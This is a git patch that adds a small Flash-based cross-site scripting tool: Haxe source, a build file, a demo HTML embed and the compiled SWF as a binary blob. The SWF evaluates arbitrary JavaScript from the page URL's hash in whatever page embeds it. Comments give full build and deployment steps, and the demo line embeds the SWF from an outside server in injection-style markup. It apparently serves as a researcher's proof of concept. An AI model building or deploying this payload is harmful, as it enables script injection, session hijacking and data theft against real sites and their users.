From e6646686597d58c5a95998c93baae54d72029491 Mon Sep 17 00:00:00 2001
From: Jann Horn <jann@thejh.net>
Date: Wed, 16 Apr 2014 17:44:50 +0200
Subject: [PATCH] i

---
 Xss.hx       |  47 +++++++++++++++++++++++++++++++++++++++++++++++
 compile.hxml |   3 +++
 demo.html    |   2 ++
 xss.swf      | Bin 0 -> 2669 bytes
 4 files changed, 52 insertions(+)
 create mode 100644 Xss.hx
 create mode 100644 compile.hxml
 create mode 100644 demo.html
 create mode 100644 xss.swf

diff --git a/Xss.hx b/Xss.hx
new file mode 100644
index 0000000..c59933a
--- /dev/null
+++ b/Xss.hx
@@ -0,0 +1,47 @@
+// xss.hx
+//
+// Purpose:
+//    This haxe source file builds a SWF which injects JavaScript into the including page.
+//
+// To build:
+//   1. Acquire the latest stable version of haxe from http://haxe.org/download
+//      Note: To run haxe, you may also need Neko (http://nekovm.org/download)
+//   2. Create a file called xss.hx with these contents.
+//   3. Create a file called compile.hxml with the following content:
+//      -swf-version 9
+//      -swf xss.swf
+//      -main xss 
+//   4. From the command line, execute:
+//      haxe compile.hxml
+//
+// To activate:
+//   1. Take xss.swf generated by haxe and deploy it to your webserver.
+//   2. Embed it into your HTML file with code like the following:
+//      <object
+//          id="xss" class="hidden"
+//          classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
+//          codebase="http://fpdownload.adobe.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0">
+//          <param name="movie" value="xss.swf" />
+//          <param name="allowScriptAccess" value="always" />
+//          <embed
+//              class="hidden"
+//              src="xss.swf"
+//              allowScriptAccess="always"
+//              type="application/x-shockwave-flash"
+//              pluginspage="http://www.adobe.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"> 
+//          </embed>
+//      </object>
+//
+
+import flash.external.ExternalInterface;
+
+class Xss {
+
+    public static function main() {
+        flash.system.Security.allowDomain("*");
+        ExternalInterface.call( [ "(function(){setTimeout(\"",
+            "eval(document.location.hash.slice(1))",
+        "\",0);})" ].join('') );
+    }
+    
+}
diff --git a/compile.hxml b/compile.hxml
new file mode 100644
index 0000000..081a044
--- /dev/null
+++ b/compile.hxml
@@ -0,0 +1,3 @@
+-swf-version 9
+-swf xss.swf
+-main Xss
diff --git a/demo.html b/demo.html
new file mode 100644
index 0000000..787b23c
--- /dev/null
+++ b/demo.html
@@ -0,0 +1,2 @@
+<embed/allowScriptAccess=always /src="http://var.thejh.net/xss.swf")
+<div></div>
diff --git a/xss.swf b/xss.swf
new file mode 100644
index 0000000000000000000000000000000000000000..5564f3576de2cb686976a739cbb63048ec02f276
GIT binary patch
literal 2669
zcmV-z3X=6hS5pa!4*&po+J#o#ZyU!E-?^_neuyF|O0+G@rfo{3oU=qbiIdn#ELjpo
zDYj@w@<-xGybs>#E+Kge?<hxc)3R#orviN_n&-S0X;GjB`cj}R@&^<m1=|G*w6A^Y
zzo5<@DcM3$6asf==4NJRelxSHEi(8GA%AL<GeG7OG9hG+J2*JFk-R%dNSsU&?i-1a
zr$B^l*QrWn{ZrHM>HJPZt2;*2s%f4*<?VRBS(jH$qt$f$9k>|LYBl%qyj$0tMy#h}
ze&L(VhE_`~^ogYg?v`elC-PRSVfc>Q$WK1;On=R(n{La`pC323wOYRF8m+q7@TY37
zp)su~J2<oE7-s(R<Rm?>6eh2KHF?hV{jF=$(^}Ql%_+mJPtUHtK7FN7xH_%3oSN@6
zgil?kA+7pNr?Dv*7^1-9;~#onxEG_3L59|FDLQ7Y%K4T!+iYq(V$Erop19C#y3G(O
z`T<36x^B(X8gcJ4XRBhk4bN}34Bu@^TUt}Ad%Ul0ih*ANHT`I%;sqyHnx-LawLDv@
znT<`~hCC=R88aKLdc}A9N~rCiL#<($uEiW80FkCycel+s+o@FtDis3{Z&v&!A}DVn
zYK#c64CdS#MrUElX44Z|PQy>&*{0vq#YpjUILOj%)-|8M<>(X($Br22;ZSwFt(vwI
zy6tW|=3LF$8ej(;S%?)+Yj}d?qUWk<X|38TAH$wm!w%8(nkixeo2IzR)^I>SaH_s7
zK4xp;2<O?B@2)yun!>Gx;+m}WxoF*OdFDccIjYK9wHo9t<r}S9ZBoYU%oVL}!nH6f
z&PuDUn@#Ro2ErnS?)Vbc1G`0Fc!-|uSiWSN&Zg~0f;dV6O)EV}BE76zzEkstG1I#(
zt>##cS)D_<7aa3M#;AhIK!(rYIbTT^g5H2fur43=Z}{Cq>itlwfzV)RRe?o}^=dV?
zny!z~R4O9+-)zWh<vSIYbAO7=ZL9#c8QWsB^YaVym9=tZb!~QWAyRdh8je42VpZf~
z|BN_-5-8ttaQqr(GyHOR81zkFaL`D?9L%Oa)a#yO1|b%a>+ft~sn|FPhP$;RF#ruy
z!u~@u>R=vUlr5=ePI2~D5K|r-hS!=+p}`nzG1<Xx)3E!~7{r~XyM?wpOWp!@HOjGu
zQm-NTy0#TIY^^!xR?S&obP(Sa;kM@6Qm=?S@`;s&#o4u``wNw&mEzLM(%MIfJLT1-
zV-nf%iYz@dq~ml|3U6GkMn+&n90|#>krYyAN8T8@JEC(SRVi>3cnSjLBnmR+!&Dfg
z5T}r!kfbm~#bF8~6w(w<P&i596opX=rzwn4I5P^AW+<Ga!g&f8DC8*QDNIthNZ~aK
z3WZA)rYKBPC{Xb-rB^7tPUSZ#T&3_fg?A`iqi~(d?^1Y=!uwRbL1Bi%EQOmC<|r&s
zSfs)-6+WPFiwd_XtWYRZxI;r9Qdpx<p`g;RK><@SDOeOXX~?GFQ23NWjY6G5gMv$8
zi^As=niM<=EehKdzM!x};Y$inDExp5Us3oW1zdkbp$!y%jK5v{{RDqM#ox~$M*v@e
z|NrCI4goE5gm6iu`mzg1Mv-Gmgp-Mkq%8L>N$`O&$$-YcWKRsS;^D%P<L5zgqrZGF
z5|IzwMR4UwI!_4Ymw<$pfrJ-;M2s}Sw{7_x$xNU|7EJ^QCqR^=0|cUEkZ>`QAbgw*
z5g|!N6A(R};0Den_*ga}3}zBy{QZQKIFX>q*@QfFmW(ri@<il-7YLCcA`nPHS|Hp7
zFa*L+z=S}A93Tt;i!4R}j^8UF$#DRDY_CvNxq`|)Bx5#@Qc*yS)2g7*vIwfAM3ks9
zaGzJ8h!v8{A?8Fl^v1vRCLQ+%V|E0kQ9%NzWp)j*W2M@$Ogoms_q$^ax8>4((vCgP
z67NOusU0(f_$VPEUD&rqcG2QHzN@Bn5l=qB;mIdqUl*)X-ta#T4gv>C_M5icRmOwB
zkW?mcDG@Tji6Cb83J)&6DB#ILSLIV!z==|)`-f7T60%p=FQ7bEf^Zs7Bryyf@@m=|
z$h4y=tllD{tueNi&w!dnu|2@Hm_3L|4RV-wN=+9tq#bQXpLaX<x$b>ppT}=;9>4tp
zGEc{!s}okPoqu-dca0D=y&heT66VVqC{B|0czgVLS9#06$OK*cHMZq!g>4<{Ql>q{
z(7FV1kzsbpnzjq<lX}^@V!z(geWS03{oM)TeG}s0K)cVe4M9mrScpHvQP3~CnO){w
znU5z3=~`D2zaqoaddtJDEgJ$_4)zPCrZK%iHO)l2pp;NUO?Ud0VbCuX--dRq_zp0L
z_L&-rSY7OE3<m2`d&&@XkwwbzjgMfVnO6BaIj)^!99B6CF-&7}-+EUUt@nPno%q|q
z0m7RU2SNNh-!JY{*$^{NV}`^Qnk9ye^$sy{IA=tVkK%8D@v-$Ao#G8(Y3Ty47>mNE
z{z-5GJws-lXwVMY#v`l)sUFhhGuUxgLUQ6i2M0RE?~<~LhT(~A<{6E23B&Y^XuQTu
z<nLt97|<nsz#0kQi|H|CErr;2iZf*QmA(t<ktAL|IrPI$)5FSm5AZOO_w*Qp^L`It
zJ%*FeJp}nsOV*>qKgXaVUnhI^_g>mRI3i2&U*ktnNv9sO)`+EeEcU~a^3h=u9hTGa
zOx}4Vlm8tg4rP$$%gBzx`U{2?Rz7BP7{7?e{;CIcKe$IJ1VQ<v6dw#ct_SQ!DUKt!
zE_aq?D8X;w_wYw{e+~f-CD*~ul@BkQkRX8gOJKEshJ*d0H($?lx$a(y^-4FGgm1sz
zPWCzLrUKt?Cn@XiONwUSj7zKtox<*mo^A?n`mQ=>&2KDN3+-Zgk&9o(i-MU>XUWi^
zoA<H=-JtGzX=BM+Y8SImEOC=;DmRwP%VZJa*Kc6VVRnz;Y_G?c<HSxVpRxNig6{!$
za<9OmedVYRxQ(Uq5<vyZ?oes3uorN{jFXWo-o~yWWJKVBiy+_0l5V-oJf`uA;Z8GA
z@h<Fo&%4<JcE9CHd)+LQ%iIK-on)be)Kzs2OZ!_CoDxuyP}eqA)zypMv%hMq9jqXJ
zIDz*)e+oe@n2;rPFk!FGDgMk!<?+m^dt8ZdYwS&0C2)_73L<cC?-h=2?mhI5*Y+ta
zPN%xZ?(JFFPKFTGfWZm+j>lVj_+JMHT|Dcwi1yRpx5p_7b&njpH2ZhYY>X3tJA(<g
zWxQ*PA49A4V*Sy6@ew4ksWZE!eGj!#2sH1o2Pj`q^AEW(JFUj7Tf5IXGsE^uXJ*8{
z)0s)zA9iL=*!Me%n=3!yI?Ct0&FgJD!8S8$KkUq$wm<49Kj_JyuuYY%TQg(!Cu%xp
z4`Ch79yaDV_L9<dy;IZy13BMgA9XN5WHYQ31$ABB*tIGxyV9f7maX<Etz~QK`ph|7
z$MwAZNR5=ktP{?#0T>PXg7r?OoljxIsS|s4?yz+(9KE?|d>9_`W43|P@x!>XFJI@0
b<FB(YW>26rHpE8l=s#96gWP`sxG&4Y1V$cl

literal 0
HcmV?d00001

-- 
2.20.1